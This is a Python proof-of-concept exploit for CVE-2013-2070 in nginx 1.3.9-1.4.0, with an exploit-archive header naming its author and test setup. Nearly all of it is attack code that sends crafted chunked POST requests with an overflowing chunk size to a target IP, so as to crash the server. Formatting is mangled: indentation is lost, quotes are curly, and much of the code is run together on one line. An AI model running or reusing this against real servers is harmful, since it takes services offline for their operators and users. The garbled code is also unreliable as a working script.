nginx 1.3.9-1.4.0 DoS PoC

#!/usr/bin/env python
# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070)
# Google Dork: CVE-2013-2070
# Date: 16.05.2013
# Exploit Author: Mert SARICA – mert [ . ] sarica [ @ ] gmail [ . ] com – http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & nginx v1.4.0
# CVE : CVE-2013-2070

import httplib
import time
import socket
import sys
import os

# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)

packet = 0

def chunk(data, chunk_size):
chunked = “”
chunked += “%s\r\n” % (chunk_size)
chunked += “%s\r\n” % (data)
chunked += “0\r\n\r\n”
return chunked

if sys.platform == ‘linux-i386’ or sys.platform == ‘linux2’:
os.system(“clear”)
elif sys.platform == ‘win32’:
os.system(“cls”)
else:
os.system(“cls”)

print “======================================================================”
print u”nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) [http://www.mertsarica.com]”
print “======================================================================”

if len(sys.argv) < 2: print "Usage: python nginx_dos.py [target ip]\n" print "Example: python nginx_dos.py 127.0.0.1\n" sys.exit(1) else: host = sys.argv[1].lower() while packet <= 5: body = "Mert SARICA" chunk_size = hex(dos_packet + 1)[3:] chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper() if debug: print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)] try: con = httplib.HTTPConnection(host) url = "/mertsarica.php" con.putrequest('POST', url) con.putheader('User-Agent', "curl/7.30.0") con.putheader('Accept', "*/*") con.putheader('Transfer-Encoding', 'chunked') con.putheader('Content-Type', "application/x-www-form-urlencoded") con.endheaders() con.send(chunk(body, chunk_size[:len(chunk_size)])) except: print "Connection error!" sys.exit(1) try: resp = con.getresponse() print(resp.status, resp.reason) except: print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)" packet = packet + 1 con.close() print "[+] Done!"

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